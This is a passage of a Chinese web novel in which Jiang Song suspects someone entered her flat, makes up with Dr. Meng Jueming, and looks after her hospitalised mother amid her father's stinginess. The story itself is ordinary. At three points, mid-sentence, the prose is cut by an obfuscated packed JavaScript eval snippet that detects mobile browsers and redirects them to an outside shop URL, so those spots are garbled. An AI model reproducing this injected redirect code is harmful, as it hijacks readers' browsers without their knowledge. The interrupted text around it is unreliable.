关于这起案子,被告声称孟医生‘公报私仇’,实则只是他们心虚。由于当年长期遭受刘姓兄弟二人的霸凌,我一度痛苦到想要结束生命。就在我站上教学楼的天台准备一跃而下时,是当时的孟医生拉住了我,开导我许久,才打消了我自杀的念头。刘光和刘宗两兄弟因为孟医生对我施以援助而产生迁怒,经常针对他,在校内多次散布谣言损害孟医生的名誉,令人不齿。 我看到了网络上零星的质疑声,但我想说,一个受到连累,被人频频针对时都未曾改变初心的人,不可能是个恶人。除了在法庭上已经提交且被认可过的客观证据之外,我张威可以用我的职业生涯为其做担保,请一些网友停止对一位优秀医生的恶意揣测。 刘光、刘宗两兄弟有今天的下场我只能说是报应不爽,罪有应得。当年我的检查报告一直保存着,烟头烫伤的伤疤至今未消,我幻想着有一天能为自己讨要一个说法。而我想,今天正是我一直在等待的合适时机,我要将这对恶人兄弟的所作所为公之于众。 除此之外,我知道校园霸凌一直未曾根除,我在此承诺,如有被霸凌的青少年及其家长需要帮助,可以联系万胜律师事务所,我可以免费提供法律服务。 最后,希望所有正在遭受霸凌的朋友可以勇敢反抗,不要像我一样,给自己留下心结,这么多年一直耿耿于怀。” 姜颂将张威发的这篇文字仔仔细细看了好几遍,尤其是关于孟决明的部分。 通过文字描述,姜颂仿佛看到了当年那个勇敢的少年坚持本心的倔强模样。 接触的这段时间以来,姜颂渐渐看透了他的底色。他外表看上去温润如玉,内里其实会为自己认为对的事情死磕到底,刚直不阿。 那天晚上他曾说她总是对人散发善意,其实这评价同样适用于他自己。 事情已经解决,那么他应该也要回到医院复职了吧。 真好,姜颂由衷地为他感到开心。 * 回到桐市,气温依旧很低,只是离开之前的那场大雪已经在慢慢消融。 姜颂拖着行李箱走进小区,路过花园看到之前那几个小孩堆的雪人。不知道怎么回事,雪人的头四分五裂,身上印着几个黑乎乎的脚印,看大小像是成年人的杰作。 也不知道是谁那么无聊。 姜颂回家休息了一天,照例下楼喂猫的时候忽然发现之前做的猫窝也被人暴力破坏了! 来吃饭的好几只猫身上还带着伤。 姜颂急吼吼地回家找笼子把猫全打包送去检查,幸好都只是皮外伤。 房东不让养宠物,上次收留兰花只是暂时的,也没有造成什么损坏。但是现在这么一大群猫她实在不好背着房东带回家里。 担心坏人再来下手,她只能勤快一点频繁下楼查看猫咪的状况。 大概是日有所思夜有所梦,姜颂觉得晚上做梦做得迷迷糊糊的时候耳边都是猫在害怕地尖叫。 隔天她再下楼的时候听见一个大姐正站在楼下,对着整栋楼骂骂咧咧,中气十足的声音在几栋楼之间回荡。 “活不起了吗,连洗完晾出来的内衣都偷?真活不起就跟我说,我资助你几件,别总干这偷鸡摸狗的事行不行,你妈生你养你一场就是为了让你来偷东西的?!!” 姜颂心想不会是被风吹走了吧,偷一件别人穿过的内衣有什么用呢? 然而到了晚上,她忽然察觉到了一点不对劲。 因为她洗完澡找贴身衣物的时候,无意间把自己平时放贴身衣物的抽屉全拉出来了。 那抽屉里所有的衣物都被叠成小小一个,整整齐齐地排列好。只是抽屉拉出来之后,姜颂一眼看到角落里明显空了几个位置。 她背后登时窜起寒意。 有没有可能,偷内衣的不是用来穿的同性,而是心理扭曲的异性呢? 她拿内衣一般都是从靠前的位置拿,然后把洗好晾干的放到后面,整体往前推一位,根本不可能出现这样的空位置。 在她外出期间,家里有人进来过吗? 姜颂联想到这几天小区里雪人身上的成年人脚印、已经被破坏的猫窝和受伤的猫,她越想越害怕,赶紧拿手机查起门口的猫眼监控记录。 结果却是一无所获,除了楼上邻居们出门的身影之外,没有显示任何人接近过她家门口。 姜颂身上的鸡皮疙瘩还没消下去,满脑子都是入室抢劫杀人案的新闻。 思索再三, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045867|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把这件事告诉了陆轩。 陆轩已经开始放寒假,但因为帮导师的忙暂时还没回家。在电话里听姜颂说完,立马风风火火地跑来了。 陆轩和姜颂一起检查了门窗,均没有发现损坏。 他对姜颂说:“姐你别怕,我陪你住一段时间,假如真有人进来过,他一定还会再来。” 现在并不能确定有人来过,监控也没有拍到什么证据,即使报警多半也不会有什么结果。 目前来看,陆轩的办法是最可行的。 为了增强安全感,姜颂特意买了个电锯放在家里,以备不时之需。 但愿只是她记忆错乱闹的一场乌龙。 陆轩在姜颂家里一连住了三天,没发现什么奇怪的地方,也没有什么奇怪的人突然出现。 唯一奇怪的是,表姐这几天好像总是发呆,有时候坐在客厅里赶单子,手里的工具拿着半天都不带动一下。 更奇怪的是这几天再也没看到他的偶像师兄来了。 陆轩眼珠骨碌碌转了几转,凑到正发呆的姜颂身边,拿了个垫子坐了下来。 “姐,你跟孟师兄在谈恋爱吗?” 姜颂回神,瞥了他一眼,淡淡道:“瞎说什么。” 一听这语气,陆轩就知道坏了,准保是俩人闹别扭了。 陆轩:“孟师兄条件挺不错的,人品也很好,也没听说他有什么情史。最重要的是我以一个男人的角度看,我觉得他对你是有意思的,姐你可以考虑考虑他呀。还是说,你一点都不喜欢他?” “小屁孩。”姜颂看着他无奈地笑,“什么喜欢不喜欢的,我们本来就只是朋友而已。” 陆轩不以为然,姜颂没正面回答他,那就说明不是一点意思没有。但他想不通这俩人的关系为什么还没有更进一步,反而退步了呢? 姜颂始终什么都没说。 陆轩陪着姜颂住了小一个月。 眼看着要过年,陆轩在父母的催促下不得不准备回家。 姜颂到车站去送他,买了一些礼物让他帮忙带给舅妈。 桐市的外来人口非常多,逢年过节会夸张地变成空心城。 姜颂到超市准备采购一些食物囤在家里。 她推着购物车漫无目的地走走停停,身影缓缓穿过货架。 待她走后,孟决明从货架后慢慢走出来,望着她的背影。 她的长发用一根木簪简单地盘了起来,脖颈处系着咖色与白色相间的格子围巾,米白色长羽绒服一直包裹到她的小腿,整个人捂得严严实实,只露出一张巴掌大的脸。 那件羽绒服穿在她身上显得异常宽松,他感觉她一动,她整个人都在外套里晃荡,风一吹就能把她吹跑。 他微微皱眉,怎么瘦成这样。 他家离这个超市并不是最近的,也不知怎么的,他鬼使神差地开车来到这,心里存了万分之一的侥幸,希望能够见到她,远远看一眼也好。 只是见到了,他又不得不避着她,担心这样不够纯粹的“偶遇”会让她离他更远。 直到视野中那抹瘦削的身影消失在转弯处,他渐渐收回目光,终究是没有再打扰她。 22. 第 22 章 大年三十,红色装饰物挂了满街,到处是一片喜气洋洋。 孟决明去了母亲的住处。 上次不欢而散之后,他来过一次,毫无意外地吃了闭门羹。 这一次他拎着年货上门,也已经做好了再次被拒之门外的心理准备。 却没料到门打开了。 孟母瞥了他一眼,情绪不明。 默了片刻,孟决明开口破冰:“妈,我来陪您一起过年。” 孟母没说什么,冷淡地嗯了一声,转身朝屋内走去,却没有关上门。 孟决明进门,亲手做了一大桌的菜。 母子两人面对面坐着吃饭,孟母没有吃饭看电视的习惯,屋子里一片默然。 孟母看了眼儿子:“我听说你申请年后再回去上班?” 孟决明说是。 “为什么?” “有点事还没处理完。” “什么事?” “私事。” 这样含糊的回答让孟母隐隐有些气愤,但念在今天日子特殊,他主动来低头认错,她努力把情绪压了下去。 她不再追问,换了个话题:“也好,春节期间正好有空,你多见几个女孩子相看一下,你年纪也不小了,有合适的可以接触接触。” “不用了。”孟决明想也没想,“我有喜欢的女孩子了。” “那正好,带来家里我见见。” “还没到这一步。” 孟母放下筷子,气笑了:“是没到这一步,还是压根没有这个人呢?孟决明,你学会对我撒谎了?” 孟决明心底叹了口气,有种无力感。 他低声说:“妈,谈恋爱、结婚,都是我自己的事情,我希望您能不要干涉我。” “我是你妈,你的意思是我没有资格管你?” “我不是这个意思,但我是成年人了,和谁恋爱结婚过一辈子都是需要我自己去承担责任的,您代替不了,所以选择谁也是我的权利和自由。” 孟母胸口起伏不定,眼睛瞪着他,孟决明已经做好准备被阴阳怪气地贬低一通。 数息之后,孟母情绪渐渐归于平和。 和孟决明预料的不太一样,她没有发火,也没有嘲讽,她说累了要先回房间。 孟决明独自处理了剩菜,把碗筷也洗好,临走前来到母亲门前敲了敲。 隔着一扇门,他认真地讲着自己的心里话:“妈,我真的没骗您,我确实有喜欢的人了。只不过,现在遇到了一点问题,我没有办法带她来见您。她是个很好的姑娘,我是真心喜欢她,您能支持最好,如果不能我也不强求。” 房间里没有回应,但他知道母亲一定在听。 “妈,上次是我说话太冲动了,我不该那样说您,对不起,您别生气了。” 还是没有声音。 他只好说:“那您早点休息,我先走了。” 他说完,在门前站了一会儿,确定母亲没有回应他的打算。 他穿好外套下楼,开车驶离小区。 五颜六色的烟花一朵接一朵绽放在空中,将整片夜色映得亮如白昼。 也映亮了窗前姜颂的脸。 姜颂盯着窗外的烟花,回想起自己一路走来的这三年。 这是她在桐市独自度过的第三个新年,手里有了些积蓄,可以自给自足地过上不错的独居生活。 烟花爆炸声不绝于耳,她默默闭上眼许下了新年愿望。 她希望自己来年能有一个自己的家,永远不会在雪夜狼狈地逃离。 她睁开眼,绚丽的烟花在她眼前绽放,盛大而美丽。 楼下,车内的男人看着那扇窗前的人影消失,随后灯光熄灭,隐入黑暗。 时间正是十二点,他也许了一个愿望。 希望她以后只做好梦。 * 春节后温度回升得很快,一眨眼就到了三月份。 姜颂把所有的精力全都放在了工作上,近两个月接的单子快赶上半年的量。她这样没日没夜地赶进度,手腕又开始隐隐作痛,后面痛得没办法,只好歇着。 但是账号更新不能停太久,她思来想去,还是把小兔医生系列的成品发布在了平台上,还是单独屏蔽了孟决明。 小兔医生系列在平台上的反响很不错,她的账号因此涨了不少粉丝。 为了固粉,她发帖问粉丝想要什么福利,点赞量最高的评论是小兔医生系列的教程。 面对粉丝这样的需求,参考了一下自己的状况,姜颂只好表示需要一点时间整理一下,过段时间会发布教程视频。 她有点无奈,本来想休息几天的,现在反而活儿更多了。不过这样也好,忙起来就省得她整天想东想西的。 一忙起来,她的生物钟混乱得几乎可以到地球另一端的国家去生活。 这天上午,突如其来的手机铃声惊醒了趴在桌上睡得正香的姜颂。 她迷迷瞪瞪的,连来电显示也没看,直接接通,把手机贴在耳畔:“喂?” “你妈昨天摔了一跤,县医院治不了,今天转到桐市的大医院了,你赶紧过来!”电话那头传来父亲强硬又急迫的声音。 姜颂的脑子“嗡”的一声,连忙问在哪个医院。姜父说完医院名字,姜颂愣了一会儿。 “喂?” 她回过神:“我知道了,我马上过去。” 挂了电话,她连忙换衣服往医院赶。 从出租车上下来,她一路小跑,直往住院部冲。 医院走廊里的人来来往往,姜颂没来过住院部,方向感又差,加上父亲在电话里也没说清楚具体在哪里,导致姜颂在住院部转了好几圈都没找到地方,干着急。 姜颂给父亲打电话,半天也没接通。她心浮气躁,猛地一转身,撞到了一个人怀里。 在医院特有的消毒水气味中,他身上那抹淡淡的香气格外明显。 距离那个雪夜已经过去了两个多月,再见面的这一刻,姜颂本能地拉开与他的距离。 她抬头凝望男人那熟悉的脸庞,觉得有时候真的是怕什么来什么。 一直到现在,她偶尔习惯性地打开和他的微信对话框,那个短短的问题映入眼帘时,她还是不知道该怎么回答。 她真怕他会再问一遍。 孟决明只是静静地站在她面前,见她没有开口的意思,只好先说:“我看你在这里转很久了,是迷路了吗?” 姜颂努力忽略掉这种“冷战”后见面时莫名其妙的尴尬。 “嗯,我妈妈在这里住院,我找不到她。” “别急,我帮你问一下。” 他带着她来到护士站,问她:“阿姨叫什么名字?” “陆妙英。” 护士站的小护士用电脑检索完,说:“在213病房。” 得知了病房位置,孟决明又带着她前往病房。 这是个四人间,里面除了姜母之外还住着三个老人。屋子里暖气很足,姜颂一进门闻到了病房里那股子不太清新的气味。 姜颂一眼就看见了病床上脸色苍白的母亲和在旁边抽烟的父亲。 她急忙跑过去:“怎么样了妈?” 在床上痛得闭目养神的姜母听见女儿的声音,立马睁开了眼,换上一张笑脸:“姜姜啊,你来了,妈没什么事。” 一旁的姜父吐出一口烟雾,没好气地说:“腿摔断了,医生说得做手术,做完至少也得养小半年。” 姜母在病床上没作声,缩着脖子,一副做错事情的模样。 姜颂知道父亲为什么这样生气。 姜骄马上要结婚,家里刚给他买了一辆新车,三十万的彩礼不知道有没有送出去,如果已经送出去了的话,家里根本没剩多少存款了。 眼下母亲骨折,手术费、住院费至少也得几万块,休养期间要吃好东西补充营养,这些都需要钱。再加上休养期间离不开人照顾,家里的一切活计都要落在姜父身上。 姜颂安抚母亲道:“没事,我和爸可以轮着照顾你。钱你不用担心,医保报完也花不了多少。” 姜母拉着她的手,感动道:“辛苦你了,姜姜。” 姜颂陪姜母待了一会儿,她环视着这逼仄的四人间病房,下意识思考着晚上陪床的家属该睡在哪里。 “要不我去问问有没有单人间,咱们换个环境好点的病房,陪床也更方便点,你也能好好休息。” 姜父一听立刻不愿意了:“单人间一天的费用能顶这里好几天了,谁住得起?” “钱我出。” “哎哟,你可是有钱了,住那么好的病房干嘛?骨头能长得更快?你有钱不如给我。” “你……” “咚咚!” 姜颂朝门口看去,孟决明手里拿着一打单子站在那里,朝她比了个出来的手势。 姜颂跟了出去。 孟决明拿了一沓单子,对姜颂说:“阿姨的情况不太严重,你不用太过担心。主要是阿姨年纪大了,身体肯定不如年轻人,恢复起来可能稍微慢一些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她应该早一些跟他说清楚,不该用这种小孩子冷战的方式把他们之间的关系弄得这样尴尬。 她的坦率让他觉得可爱,他忍不住失笑:“那好吧,我接受了。” 接着,笑容更甚:“那我们还要做朋友,好吗?” 姜颂用力地点头。 “那朋友之间就是要互帮互助的,所以阿姨的手术交给我吧,好吗?” 这么多天来,她心里一直堵着,现下终于跟他说开,瞬间松快了很多。 她说好,等他有空她要请他吃饭。 “别客气。”他说,“我待会儿带你认一下我办公室的位置,有什么问题可以随时找我。” 说到这,姜颂犹豫了一下:“还真有个事要麻烦你。” “能帮我问问有没有单人间病房吗?” 孟决明说:“我刚才问过了,现在都是满房,不过后天有一位要出院的病人,正好空出一间单人间,我已经提前打好招呼了,后天你就可以带阿姨搬进去。” 他看了眼时间,说:“到吃饭时间了,带你去食堂转转?” “好。” 姜颂在窗口点了几个小炒,跟他一起吃。恍惚间,仿佛又回到两个多月之前,他带着饭菜来她家上课的日子。 “能再跟你一起吃饭真好。”孟决明叹道,“不知道为什么,看你吃饭让人特别有食欲,感觉食堂的饭菜都变得好吃了。” 姜颂被逗笑:“真的吗,我居然还有这种魔力?那听起来我应该去做吃饭博主,估计会比手作博主更有前途。” 他笑盈盈地夸她:“你做什么都会很厉害的,因为你是一个做什么事都很认真的人。” 他在这段时间也总会刷到其他手工博主,从各个方面横向对比来看,姜颂能做到这个体量他一点都不意外,因为一打开她的主页就会让人感受到她有在很用心地运营自己的账号。 姜颂被夸得不好意思。 饭吃到一半,孟决明负责的病人出了点问题,他赶回去处理。 姜颂打包了两份饭菜带回去。 回病房的路上,她忽地想起一件事,脚步不自觉地慢下来。 据她所知,县医院的医疗水平虽比不上市里的三甲医院,但也不至于骨折都治不了。孟决明刚才也说她妈妈的情况不算严重,可父亲在电话里是怎么跟她说的来着? “县医院治不了。” 她眼神一冷,快步朝病房走去。 23. 第 23 章 姜颂拎着饭菜回到病房。 姜父点燃一支新的烟,正在窗边吞云吐雾。 姜颂走过去一把抢过他手里的烟头,不由分说地按熄。 “干嘛?” “这么多人在呢,谁想吸你的二手烟?” “什么二手烟,我抽个烟怎么了,男人不抽烟还叫男人吗?” 姜颂翻了个白眼,没理会他的诡辩,自顾自地把饭菜放到桌子上。她把病床摇高,让姜母能坐起来。 姜父不满姜颂的霸道,嘀咕了几句,又点了一支烟。 姜颂把他整包烟和打火机一股脑儿全扔进了垃圾桶:“别让我看见你在病房里抽烟,看见一次我扔一次。” 自动屏蔽掉他叽里咕噜的教训,她坐到床边,打开食品打包盒上的盖子。 一边开盖子,姜颂目光流转,扫过母亲的脸。 她抿了抿唇,不经意地问:“小骄也毕业了,还没找到工作呢吧?” “他学历不高,现在工作不好找,咱家又没有什么人脉关系,只能先等等了。” “嗯,现在工作确实不好找。”姜颂拆掉一次性筷子的包装,递给母亲,“前一阵子我们单位有个人总是请假,没过两天就被开掉了。” 姜母接过来,带着歉意:“是妈妈拖累你了,你请假久了对你工作也有影响吧?” “是呀。”姜颂说,“所以我想了想,不如把小骄叫来吧,费用我出一半,白天他和爸照顾你,我晚上下班过来换他们。” 姜父瞪大眼睛:“那怎么行,小骄是男孩,他哪会照顾人?” 姜颂唇角弯起冰冷的弧度,目光悠悠看向父亲:“男孩怎么了,都是妈妈的孩子,怎么买车买房的时候有他的份,到了干活的时候就要用不会来逃避吗?” “你个做姐姐的……” “别听你爸瞎说,”姜母插言道,“是因为小骄马上要结婚了,这两天去女方家见家长,真不方便过来。等我回家休养了,他会回来,就不用你老是请假了。” 姜颂脸上的笑意越来越淡,但终是没说什么。 姜母说:“没事,你工作忙的话你就去忙,别因为妈妈把工作丢了。妈这边有你爸呢,你别担心。” 姜颂心里那杆失衡的天平被母亲的话往翘起的那一头不轻不重地砸了一下,晃晃悠悠的,她的情绪像一杯放在天平上的水,随着天平晃动马上要溢出来,却总是差那么一点点。 她吸了口气又吐出,把买来的红烧肉挪到母亲面前:“先吃饭吧,请假的事我自己想办法。” “姜姜你也吃,忙了一上午了,很累吧?” “我吃过了,你吃吧。” “妈现在不太想吃,喝点这个汤就行。” 姜母最后也没吃几口,剩菜又舍不得扔,想重新封起来留到晚上当晚饭。 这里没有冰箱,还开着温度不低的空调,放到晚上基本就坏了。 姜颂二话没说,拿起剩菜就丢到外面,不留给母亲任何心疼的时间。 晚上,姜父要去她家住她没同意,在医院附近给他开了一间房,自己回到病房陪床。 如她所想,小小的病房里根本没有她的容身之处。她本想趴在母亲床边凑合一下,但半夜老人们的咳嗽声此起彼伏,病房里还有一股子尿骚味,这对神经衰弱的姜颂来说简直是灾难。 她只好到楼道的休息区眯一会儿。 休息区的椅子太久没人坐,非常凉。姜颂靠在靠背上,望着天花板想,再熬一天就可以换到单间了。 刚睡着一会儿,手机响起,姜母说想上厕所。姜颂回去帮她解决完,她说口渴,姜颂帮她接来温水,看着她咕咚咕咚喝下去大半个保温杯的量。 一个晚上,姜母连续起了四次夜,折腾到凌晨。姜颂继续回到椅子上,不知不觉睡着了。 醒来时身上多了一件男款外套。 那外套上沾着熟悉的气味,姜颂小心地叠好,出门买早饭路过他办公室时,放在他的工位上。 * 隔天。 单人间空了出来,姜颂带着母亲搬了进去。单人间里面有陪护床,陪床方便了不少。 这几天姜母的食欲一直不大好,吃得非常少。昨天晚上她问母亲有没有想吃的东西,母亲说想吃卤鸡爪。 姜母在输液,姜颂不敢交给姜父盯,昨天护士叫她去拿药,留父亲一个人在这盯着,他一心扑在手机游戏上,导致睡着的姜母差点回血。 她转钱给父亲,让他出去买一些卤鸡爪回来。 “再买一箱矿泉水吧。”姜母说。 姜父冷哼一声:“医院免费的水不喝,还要出去花钱买水喝,家里的钱都快被你败完了!” 然后剜了姜母一眼,揣着手机出门了。 在孩子面前被这样训斥,逆来顺受如姜母脸面上也有点挂不住,悻悻地看着女儿。 姜颂深知母亲有多节俭,平时连烂水果都得挖除腐坏部分吃掉。她要张罗买瓶装水,只有一个原因: 如果晚上叫睡着的父亲起来去接水,他只会有两种反应,一种是装作听不到继续鼾声震天,另一种是骂骂咧咧地起来照做,然后一通抱怨。 姜颂在心底叹气,故意没去看母亲,怕她难为情。 她伸手想要帮母亲调整用来冰敷伤处的冰袋位置。 伸出的手在注意到母亲的腿时蓦地停下。 那伤处不但没有消肿,还连带着整条腿似乎都比昨天都肿了一圈! 其实今早起来她就觉得母亲的眼周肿得明显,只是她晚上喝水多,姜颂以为是普通水肿,也没放在心上。 她有点不放心,想给孟决明打电话询问又怕打扰他工作,最后发了条微信问。 没过一会儿,孟决明匆匆赶来,检查了一下她说的症状。 他问姜母:“阿姨您最近有别的不舒服的症状吗?” 姜母想了想:“也没什么特别的,就是晚上有点睡不着,骨折的地方太疼了。然后浑身没劲儿。” “排尿频率正常吗?” 听到这,姜颂终于反应过来是哪里不对劲。 她接话说:“她每天的喝水很多,但白天不怎么上厕所,一到晚上就会频繁起夜,大概三到五次这样。” 孟决明接连问了几个症状,姜母一直点头。 姜颂眼看着他的神色越来越严肃。 出了病房,她追上去,不安地问他:“是不是有什么问题啊?” 她眼下泛着乌青,布着血丝的眼中透出的担忧与恐惧落入他的眼底。 他心里确实有了某种猜测,但她现在这种状态一看就是疲倦至极,他实在不想让她在结果没出之前将这样的情绪延续下去影响心情。 他温声说:“别担心,这几天就让阿姨好好养身体,检验结果我会再去催一催,应该不会有太大问题的。” 姜颂眼中的担忧淡了许多。 “你也要注意休息,照顾病人是很累的,你跟叔叔换着来,别回头阿姨好了你倒下了。” 姜颂扬起微笑:“好,我会注意的,你先去忙吧。” 孟决明轻轻嗯了声,往前走出两步,复又折返。 他说:“有事一定要记得找我,我随时在,千万不要担心打扰我,你的事在我这里永远是最重要的。” 他眼帘低垂,却遮不住眼神中的认真。 姜颂在他的目光中逐渐感受到心跳的频率,整颗心顷刻间被一股暖意包围,软得一塌糊涂。 她也很认真地点头:“好,我记住了。” 孟决明离开后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066528|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜颂独自回到病房门口。 远远看见父亲手里提着一个透明塑料袋。她打眼一瞧,里面只有一些干巴巴的烧饼,让他买的东西一样都不见踪影。 看着姜父进门,她站在门外。 门没关严,她从缝隙里看到他把那袋烧饼丢给母亲。 “这里鸡爪好几十一斤,吃点烧饼得了,你住这单间一天上百块,钱得省着点花。” 姜母瞥了一眼那塑料袋,没去拿里面的饼,只低声嗯了下,什么也没说。 姜颂收回目光,没进门,径直往外走去。 她想起方才孟决明劝她注意休息的话,不禁觉得无奈。 看上去是她和父亲两个人在陪床,其实她根本不放心让父亲单独照顾母亲。 因为他只会让母亲不断地忍着各种不便,而母亲也从不会反抗。 她知道,这都是当年母亲挪用家里存款给舅舅买房的后遗症。 由此,舅舅得到了母亲花钱买的房子,姥姥姥爷减轻了经济压力,晚年还得到了近在身边的母亲的赡养,而父亲一家子得到了母亲多年百依百顺、无微不至的照顾。 所有人几乎都通过压榨这个可怜的女人得到了自己最需要的东西,唯独她自己什么都没有。 作为女儿,她做不到完全对母亲的难过与痛苦视而不见。 半小时后,她带着一箱纯净水和一盒子卤鸡爪回到病房里,姜母因为这些连一百块都不到的东西高兴得像个孩子,姜父一日既往地在一边说着风凉话。 耳边不停的嘲讽并没有影响到姜母的开心,她小心翼翼地打开那盒卤鸡爪,戴上手套拿起一个递给姜颂:“姜姜也吃。” 却被姜父抢了过去。 “这么贵的东西我都没吃过,一天净知道瞎花钱!”他忿忿不平地将一只爪咬下大半。 姜颂实在懒得跟他吵架,只对母亲说:“妈,你忘了,我不爱吃鸡爪,你都吃了吧,不要剩,放到明天会坏的。” “哦,哦,好,那我吃了?” “嗯。” 姜母兴冲冲地啃起来,蹭得嘴周都是油。 姜颂看着那盒鸡爪和母亲脸上的笑容,些许欣慰,些许同情,些许心疼。 她想起当年自己用第一笔工资给家里换的那台全自动洗衣机,当时的她看着母亲惊喜的目光也是现在这种心情。 原来家里的那台分桶式波轮洗衣机是半自动的,需要母亲把水里洗完第一遍的衣服捞出来拧一遍,再手动把没洗干净的泡沫揉掉,然后再放到另一个桶里甩干。 寒冬腊月的水冰冷刺骨,洗一次衣服要在炉灶上不停地烧水,费时费力。 她入职前在家里那段时间,家里那台洗衣机两个月坏了三次。 她劝母亲换个全自动的,这样冬天就不用一直烧水烧不停了。 母亲怯怯地跟正在修洗衣机的丈夫商量,得到了一通指责。 “全自动的得多贵啊,还费水,你一天在家也没事干,洗个衣服还要机器自动洗?那要你干什么?” 她替母亲反驳,说全自动的会更省水。 姜父一副要钱没有要命一条的态度:“正好你该上班赚钱了,你给你妈买不就得了?” 后来她入职拿到第一份工资,立马买了一台回家。每次母亲一开始洗衣服,她就闻声而动,把里面除了她和母亲之外的衣物全丢在一边,非常认真地告诉母亲不许给他洗。 母亲被她逗得哈哈大笑。 那是她第一次觉得有钱真好,有工作真好,即使她不是那么喜欢那份工作。 只要有工作,她就可以通过工作换取金钱,有足够的能力满足母亲和自己的需求,她们母女俩谁也不用再看男人的脸色。 所以她一开始从没想过要从小镇辞职。 24. 第 24 章 入夜,姜母起夜还是有些频繁。 接连被打断睡眠,姜颂的黑眼圈越发严重。 姜母捏着衣角:“我今天没怎么喝水,但是不知道为什么就老想上厕所,对不起姜姜,妈妈打扰你休息了。” 姜颂摇头,说:“起夜有什么的,不能为了少起夜连水也不喝了,想喝就喝。” 说罢,她出去打了一杯温水放在姜母手边。 这么折腾一通,母女俩都睡不着了。 姜母说:“明天我想洗洗头发,感觉有味道了。” “要不我现在帮你洗?” 反正是单人间,有独立卫浴,不会吵到别人。 姜颂把自己的陪护床推近了些,跟病床并在一起,让母亲横过来躺,头露出床边。她打来一盆热水,坐在折叠小板凳上,用手掬水一点一点浸湿母亲那一头银丝遍布的的发丝。 灯光下,母亲皮肤上各种各样的斑斑点点和纹路从姜颂的角度看去十分明显。 四十多岁的年纪,站在同年龄的城市女性面前,根本看不出是同一个年龄段的人。 她鼻尖泛起一股酸意,一声不吭地在手上打发泡沫。 姜母很享受地眯着眼:“你小时候爱留长头发,都是我给你洗。现在我们姜姜长大了,也会给妈妈洗头了。” 姜颂嗯了声:“那时候洗头发好麻烦,尤其是冬天,家里好冷,小太阳也舍不得买,洗头发的时候怕水弄湿衣服只能穿一件没有领子的秋衣,洗完整个人冻得一直发抖。” “你小时候咱们那还是贫困县,普遍条件差,冬天家里那么冷,买煤你爸都舍不得多买,都得省着烧,更别说别的。” 姜母叹气,回忆着:“我记得你有一次跟你爸赶集说看上一个娃娃,喜欢得不得了,在玩具摊前一直闹,你爸不肯给你买,你哭得特别凶。后面我在玩具摊按照你的描述找到了那个娃娃,要二十块,但我当时身上只有十块用来买菜种的钱,只能回家取,可是没想到就那么一会儿,那个娃娃就被人买走了。” 姜颂听着,总觉得哪里不对劲,母亲说完她想了好一会儿,终于想起来了。 她哑然失笑:“妈妈你可能搞错了,我当时想要的是一个盗版芭比娃娃,只要两块钱。” “啊?” 姜母没想到事实居然是这样的,只有母女俩在,她也不需要看丈夫脸色,气愤道:“你爸真的太抠了,两块钱都舍不得!” 姜颂扯起唇角。 她小时候对父亲还会有一些期待,而随着阅历的增长,她早就认清了现实。 对一个毫无责任感的男人乞求父爱如同水中捞月。他是一位父亲不假,但不是所有当了父亲的男人都对孩子有父爱。 当然,她不说话的原因还有,她知道母亲对父亲吐槽只是一时的情绪宣泄,如果自己一起吐槽,她又会忍不住帮着父亲说话。 这对夫妻,乃至许多对中年夫妻都是这样,矛盾中又透着一丝诡异的和谐。 这是姜颂在家里工作那几年得到的经验。 姜母还在接着吐槽:“你爸当年来提亲的时候就这样,上门拿的礼品很寒碜,你姥姥当时还因为这个差点不同意。” 姜颂问:“那为什么又同意了?” 姜母默了默。 她说:“那时候你舅舅也不小了,过不了几年也要结婚,家里实在没钱,你奶奶答应给一万块的彩礼。” “奶奶家这么有钱吗?”从姜颂记事起,奶奶家一直都是一贫如洗的状态。 那个年代的农村地区吃饱饭都很难,每年饿死的都有不少,一万块真的算是笔巨款了。 “你姑姑嫁得好,你姑父正赶上下海潮做生意发大财了,彩礼给得也多,你奶奶家那会儿一下成了十里八村最有钱的一家,只不过后面都被你大伯赌没了。” 说起姑姑,姜颂只有一个非常模糊的印象。她只依稀记得在她很小的时候姑姑曾经开着一辆黑色小轿车回过雨花镇,一身红色的羊毛大衣,贵气又精致。这么多年,她早已记不清姑姑的脸,却仍记得那一身漂亮的大衣。 据她所知,姑姑只回过雨花镇那一次。后来的某一年,奶奶突然想去看看姑姑,让父亲帮忙查了票,发现即使最便宜的绿皮火车也要上千块。 奶奶看望女儿的心思被儿子毫不留情地掐断,后来母女俩就再也没联系过。 姜颂听得头皮发麻,她觉得这简直像是陷入了某种循环。女人们被当作一般等价物,在男人们的利益循环里被拿来反复换取他们的利益。 她完全理解不了。 “妈妈,”她忍不住开口,“你不恨舅舅吗?” 母亲却奇怪地看她:“我为什么要恨你舅舅?” 姜颂心里那种一棒子敲醒母亲的欲/望刚燃起一个小苗头就被这句话扑灭了。 算了。 她继续揉搓着泡沫,听着妈妈独自感慨。 